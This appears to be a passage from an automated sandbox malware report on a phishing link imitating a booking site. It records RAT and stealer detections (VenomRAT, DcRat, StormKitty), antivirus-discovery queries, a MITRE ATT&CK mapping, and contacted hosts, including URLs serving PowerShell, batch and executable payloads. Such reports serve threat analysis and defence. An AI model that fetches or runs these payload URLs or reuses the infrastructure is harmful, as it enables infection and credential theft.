Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation
Source: C:\Windows\System32\cmd.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.ConsoleHost\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.ConsoleHost.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.Management.Infrastructure\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Security\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Security.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Program Files\WindowsPowerShell\Modules\PSReadline\2.0.0\Microsoft.PowerShell.PSReadline.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.CSharp\v4.0_4.0.0.0__b03f5f7f11d50a3a\Microsoft.CSharp.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Utility\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Utility.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Management.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Numerics\v4.0_4.0.0.0__b77a5c561934e089\System.Numerics.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation

Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Lowering of HIPS / PFW / Operating System Security Settings

Yara detected VenomRAT

Source: Yara match	File source: 0000000F.00000002.1732020554.000001D212473000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.1732020554.000001D212793000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000002.2385864712.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct

Stealing of Sensitive Information

Yara detected BrowserPasswordDump

Source: Yara match	File source: 0000000F.00000002.1732020554.000001D212473000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.1732020554.000001D212793000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000002.2385864712.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY

Yara detected DcRat

Source: Yara match

File source: 00000013.00000002.2412768868.0000000003345000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Yara detected StormKitty Stealer

Source: Yara match	File source: 0000000F.00000002.1732020554.000001D212793000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000002.2385864712.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY

Source: Yara match	File source: 0000000F.00000002.1732020554.000001D212473000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.1732020554.000001D212793000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000002.2385864712.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY

Remote Access Functionality

Yara detected BrowserPasswordDump

Source: Yara match	File source: 0000000F.00000002.1732020554.000001D212473000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.1732020554.000001D212793000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000002.2385864712.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY

Yara detected DcRat

Source: Yara match

File source: 00000013.00000002.2412768868.0000000003345000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Yara detected StormKitty Stealer

Source: Yara match	File source: 0000000F.00000002.1732020554.000001D212793000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000002.2385864712.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	131 Windows Management Instrumentation	3 Browser Extensions	211 Process Injection	11 Masquerading	OS Credential Dumping	14 Security Software Discovery	Remote Services	Data from Local System	2 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Scheduled Task/Job	1 Scheduled Task/Job	1 Scheduled Task/Job	1 Disable or Modify Tools	LSASS Memory	1 Process Discovery	Remote Desktop Protocol	Data from Removable Media	11 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	1 Scripting	1 Registry Run Keys / Startup Folder	161 Virtualization/Sandbox Evasion	Security Account Manager	161 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	2 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	3 PowerShell	1 Registry Run Keys / Startup Folder	1 DLL Side-Loading	211 Process Injection	NTDS	1 Application Window Discovery	Distributed Component Object Model	Input Capture	13 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	1 DLL Side-Loading	Network Logon Script	1 Deobfuscate/Decode Files or Information	LSA Secrets	2 File and Directory Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Obfuscated Files or Information	Cached Domain Credentials	34 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 DLL Side-Loading	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Source	Detection	Scanner	Label	Link
https://gogl.to/3HGT	0%	Avira URL Cloud	safe

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Local\Temp\40kpnqa1.dll	100%	Avira	HEUR/AGEN.1300034
C:\Users\user\AppData\Local\Temp\40kpnqa1.dll	100%	Joe Sandbox ML

Source	Detection	Scanner	Label
http://185.149.146.164/trwsfg.ps1	0%	Avira URL Cloud	safe
http://147.45.44.131/infopage/gqub.bat	0%	Avira URL Cloud	safe
http://147.45.44.131/infopage/vfdjo.exe	0%	Avira URL Cloud	safe
http://147.45.44.131/infopage/yijth.exe	0%	Avira URL Cloud	safe
http://147.45.44.131/infopage/vfrcxq.ps1	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
pub.euwe4.prd.messagebird.io	35.204.196.43	true	false	unknown
d2i5gg36g14bzn.cloudfront.net	18.245.31.129	true	false	unknown
a.nel.cloudflare.com	35.190.80.1	true	false	high
bstatic.com	18.245.31.49	true	false	unknown
chat.kindlycdn.com	104.26.7.229	true	false	unknown
bookingdotcomb2b.germany-2.evergage.com	3.67.253.139	true	false	unknown
roomsvisitors82831.world	188.114.97.3	true	true	unknown
partner.booking.com	18.66.147.79	true	false	unknown
ariane.abtasty.com	34.36.178.232	true	false	unknown
pub.euwe1.prd.messagebird.io	35.195.139.227	true	false	unknown
bg.microsoft.map.fastly.net	199.232.214.172	true	false	high
gogl.to	199.36.158.100	true	false	unknown
challenges.cloudflare.com	104.18.95.41	true	false	high
www.google.com	142.250.184.228	true	false	high
dcinfos-cache.abtasty.com	34.36.178.232	true	false	unknown
cdn.cookielaw.org	104.18.86.42	true	false	high
try-cloudfront.abtasty.com	18.172.112.72	true	false	unknown
siteintercept.qualtrics.com	unknown	unknown	false	high
livechat-metrics.messagebird.com	unknown	unknown	true	unknown
try.abtasty.com	unknown	unknown	true	unknown
px.ads.linkedin.com	unknown	unknown	false	high
munchkin.marketo.net	unknown	unknown	false	high
messaging.messagebird.com	unknown	unknown	false	high
zn3eum1ldyl0aih0i-partnersatbooking.siteintercept.qualtrics.com	unknown	unknown	false	high
zn09tjwjvephllacp-partnersatbooking.siteintercept.qualtrics.com	unknown	unknown	true	unknown
cf.bstatic.com	unknown	unknown	true	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://roomsvisitors82831.world/?__cf_chl_tk=FiaVf8.j68ytR6W40ej8YcdAopGjg3RZQtFF_eyjERQ-1735604796-1.0.1.1-_A0TBRL2TANCFW6uGKcR35aGMdZXvbskAxfq0N0Z2r8	false		unknown
http://147.45.44.131/infopage/vfrcxq.ps1	false	Avira URL Cloud: safe	unknown
http://147.45.44.131/infopage/vfdjo.exe	false	Avira URL Cloud: safe	unknown
https://roomsvisitors82831.world/	true		unknown
http://185.149.146.164/trwsfg.ps1	true	Avira URL Cloud: safe	unknown
http://147.45.44.131/infopage/gqub.bat	false	Avira URL Cloud: safe	unknown
http://147.45.44.131/infopage/yijth.exe	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
142.250.186.46	unknown	United States	15169	GOOGLEUS	false
104.26.6.229	unknown	United States	13335	CLOUDFLARENETUS	false
104.18.94.41	unknown	United States	13335	CLOUDFLARENETUS	false
18.172.112.72	try-cloudfront.abtasty.com	United States	3	MIT-GATEWAYSUS	false
142.250.185.227	unknown	United States	15169	GOOGLEUS	false
104.26.7.229	chat.kindlycdn.com	United States	13335	CLOUDFLARENETUS	false
142.250.185.142	unknown	United States	15169	GOOGLEUS	false
18.245.31.18	unknown	United States	16509	AMAZON-02US	false
3.67.253.139	bookingdotcomb2b.germany-2.evergage.com	United States	16509	AMAZON-02US	false
18.66.147.79	partner.booking.com	United States	3	MIT-GATEWAYSUS	false
199.232.214.172	bg.microsoft.map.fastly.net	United States	54113	FASTLYUS	false
142.250.186.132	unknown	United States	15169	GOOGLEUS	false
35.190.80.1	a.nel.cloudflare.com	United States	15169	GOOGLEUS	false
142.250.184.228	www.google.com	United States	15169	GOOGLEUS	false
142.250.184.200	unknown	United States	15169	GOOGLEUS	false
142.250.186.138	unknown	United States	15169	GOOGLEUS	false
142.250.185.67	unknown	United States	15169	GOOGLEUS	false
1.1.1.1	unknown	Australia	13335	CLOUDFLARENETUS	false
108.177.15.84	unknown	United States	15169	GOOGLEUS	false
147.45.44.131	unknown	Russian Federation	2895	FREE-NET-ASFREEnetEU	false
142.250.186.163	unknown	United States	15169	GOOGLEUS	false
157.20.182.177	unknown	unknown	24297	FCNUniversityPublicCorporationOsakaJP	true
104.18.95.41	challenges.cloudflare.com	United States	13335	CLOUDFLARENETUS	false
142.250.185.232	unknown	United States	15169	GOOGLEUS	false
13.107.42.14	unknown	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
199.36.158.100	gogl.to	United States	15169	GOOGLEUS	false
18.245.31.49	bstatic.com	United States	16509	AMAZON-02US	false
34.36.178.232	ariane.abtasty.com	United States	2686	ATGS-MMD-ASUS	false
104.102.43.106	unknown	United States	16625	AKAMAI-ASUS	false
185.149.146.164	unknown	Russian Federation	42861	FOTONTELECOM-TRANSIT-ASFOTONTELECOMISPRU	true
239.255.255.250	unknown	Reserved	unknown	unknown	false
188.114.97.3	roomsvisitors82831.world	European Union	13335	CLOUDFLARENETUS	true
188.114.96.3	unknown	European Union	13335	CLOUDFLARENETUS	false
172.217.23.100	unknown	United States	15169	GOOGLEUS	false
142.250.186.142	unknown	United States	15169	GOOGLEUS	false
18.245.31.129	d2i5gg36g14bzn.cloudfront.net	United States	16509	AMAZON-02US	false
184.28.90.27	unknown	United States	16625	AKAMAI-ASUS	false
216.58.212.163	unknown	United States	15169	GOOGLEUS	false
104.18.86.42	cdn.cookielaw.org	United States	13335	CLOUDFLARENETUS	false
35.195.139.227	pub.euwe1.prd.messagebird.io	United States	15169	GOOGLEUS	false
104.17.208.240	unknown	United States	13335	CLOUDFLARENETUS	false
35.204.196.43	pub.euwe4.prd.messagebird.io	United States	15169	GOOGLEUS	false

Private

IP
192.168.2.16
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1582595
Start date and time:	2024-12-31 01:26:05 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultwindowsinteractivecookbook.jbs
Sample URL:	https://gogl.to/3HGT
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	22
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	EGA enabled
Analysis Mode:	stream
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal100.phis.troj.spyw.expl.evad.win@38/94@74/423

Warnings

Exclude process from analysis (whitelisted): svchost.exe
Excluded IPs from analysis (whitelisted): 142.250.185.67, 142.250.186.142, 108.177.15.84, 142.250.185.206, 172.217.18.14, 142.250.185.142
Excluded domains from analysis (whitelisted): clients2.google.com, accounts.google.com, redirector.gvt1.com, clientservices.googleapis.com, clients.l.google.com
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: https://gogl.to/3HGT

LLM Input / Output

Input	Output
URL: https://gogl.to Model: Joe Sandbox AI	{ "typosquatting": true, "unusual_query_string": false, "suspicious_tld": true, "ip_in_url": false, "long_subdomain": false, "malicious_keywords": false, "encoded_characters": false, "redirection": false, "contains_email_address": false, "known_domain": false, "brand_spoofing_attempt": true, "third_party_hosting": true }
URL: https://gogl.to
URL: https://roomsvisitors82831.world/... Model: Joe Sandbox AI	{ "risk_score": 7, "reasoning": "The provided JavaScript snippet exhibits several high-risk behaviors, including dynamic code execution, data exfiltration, and obfuscated code/URLs. While the script may have a legitimate purpose, such as analytics or tracking, the aggressive and opaque nature of its implementation raises significant security concerns. Further investigation is warranted to determine the true intent and potential impact of this script." }
(function(){window._cf_chl_opt={cvId: '3',cZone: "roomsvisitors82831.world",cType: 'managed',cRay: '8fa6239a8d394219',cH: 'XMC92QUx3V5FG_nwC6I6AP7_0iglVyVDwS7ysxQ_L3s-1735604796-1.2.1.1-l4W_bFoK9kARJ8wsWGL7_3Wc_ib.QIckLVqyBCyyvZRwQgVuP76qhAUZhOKriEK5',cUPMDTk: "\/?__cf_chl_tk=FiaVf8.j68ytR6W40ej8YcdAopGjg3RZQtFF_eyjERQ-1735604796-1.0.1.1-_A0TBRL2TANCFW6uGKcR35aGMdZXvbskAxfq0N0Z2r8",cFPWv: 'b',cITimeS: '1735604796',cTTimeMs: '1000',cMTimeMs: '390000',cTplC: 0,cTplV: 5,cTplB: 'cf',cK: "",fa: "\/?__cf_chl_f_tk=FiaVf8.j68ytR6W40ej8YcdAopGjg3RZQtFF_eyjERQ-1735604796-1.0.1.1-_A0TBRL2TANCFW6uGKcR35aGMdZXvbskAxfq0N0Z2r8",md: "xyAgI8aJqePUB.lX_5J0i7pkgrJ2zFjjKsr1aPxUGKs-1735604796-1.2.1.1-xnyE.8at9Rdn0eqae1Gb6HJ.48Xryd1B9M5Gt4sg9lh9ipWl7bDfffPkOrGluEmddNz._TX.pvkWYmMxvB.qeEeEd_XAn1KPhDb0PyHJnU1RajKoOz58ENJMVSpTBgJmaMdylK.8INe4lSuNRA9u.RzQax4DaxEDr_2W48fsMHY.lc5rEOAgj7ARIeZzRVED5DkzxAUmSa5PqR9PTTh6GQcdCWlKBAjuFeds7PJhNzc.cGudUTNT6zlaa9zjc7xAKzF3c5iHusbQDvYRe5agzj91AjuLJl.3uA2AZJ9Cx1XQfROybbePm1yNdoyfWKly1fSuO_UYQs153tb1l4a98ehKfmFqOyG7Otw1uOUtF8S2hcDkknamyIUrjTys5rhVbZJy3MK6Z8p.gthELetV6khkbvyTbc8V9WIBvLpozbBixDVZa9RXURjpxy5TxGz4HRxq8BkI3jo7wI6M.7ohCrQ6AatyqmZMN8OQg2nSP8Ii9_7U6XwJ2DMzUSGLvCMjRcJAmDddfZ7sFiry.Wn2VFca.V99HugjFT3NkNrS22XaXdEWzq0ZaFho.A8Oux0JMNAwZnXnpUtiefxpL0DfSMpi2pcPZXSIKWDbQOiQFu5JO5vGbRHWE6_H_oUxfif_Fm3bqJdX8o2Ewrpu2wbYrEdFKeIzk0rOslO207dDvO1L0R1bxG5O.4uWL7V7B22BBwLpS0sGMz4YFdbPEDK4376k8S8AjbqCiYT7mUj.fHhRg3gXxzVH6oGx.X4KL8ZNSJ1G.0XOzZOo8x0vLiKViUj0rO37Cv0f2wTMUoWkdjCIXgHnrGy10W79COPD.1IwGEZFRnbdPcDd8vSGmDLrJSCF_sJHqXjIVliEr.J39r3Yo1fwW77.vBJhNsYK70dtTkT6SO6HPDg2qsgKvX_J5jltWTtWRIDA_HgyZJwPGVqPyRLjp6zfO0tWtlO0Q8lvsBQm4kV.vEOXaKj8VTkUEBu.6PV.hcCvPAELe6clgsbnU4S02hErOTVqL0SABcdlz8h9rj1s4nv_.ZrEtEL4gh7Ba7jarJXfsHafWqsDO9NRhxySViEXeijAzCVAEKbF3tdzqBzK2w4Qvi_8uy65G9Bh7J2_L3SCHeM2LWqvPVyJXCmVsUlQxxCjmo81mcXOb45ioVVEhWFMmOt6oFe5tgU_OqIthZ0tbqbE5OVgpYJWWE4WcegfF4mHv21PeVZctJcR_giW.Ryv154iaWJVTgsrUJEDcAVTvJTAYNGp06VQEnU10OjYma2XbErL5WD3xlt_yw_.buiFrujjFVe6M49P4iBRWLBjGA938gtJ.XoRaPhiD0rLQUY0Vo7ZnmHbPSvaPrZt.R8fV8GfDT2NdSHpwyAwvIxW.nsGTqNfcoDhyx5AAsmelTNGUKRjscC4if.bfXudEOChR5Q2AhTqF04PN5iYOSg_tYS5xaJzyL1Vp.v6jOHflNhXuhABUQ_H0H00x7ydxn.5GpALkkkZNBOLslZToqaTBqNCP7rEhGSNzxeLJGyf07nfN49cZgU8PL4zy2M8rMGkc__hE7kQVX_ffVclSnthDws3Z6jeyBkYe8uxFDYX1YeME.sem9gxAWdOESMw8vcuou2MFUtp9Ps9y5Ue.VS4heb8EI4QqKoU2Pbpy_uotuUo4R4yYLYO3XKkUPz_X45udztfhZtc1llGzczWVHk2QMHj.69jCeoQt2KWQm_p9NVGma2aRF1kmdYd2s.q0wuaHIZ9KL85hm2wx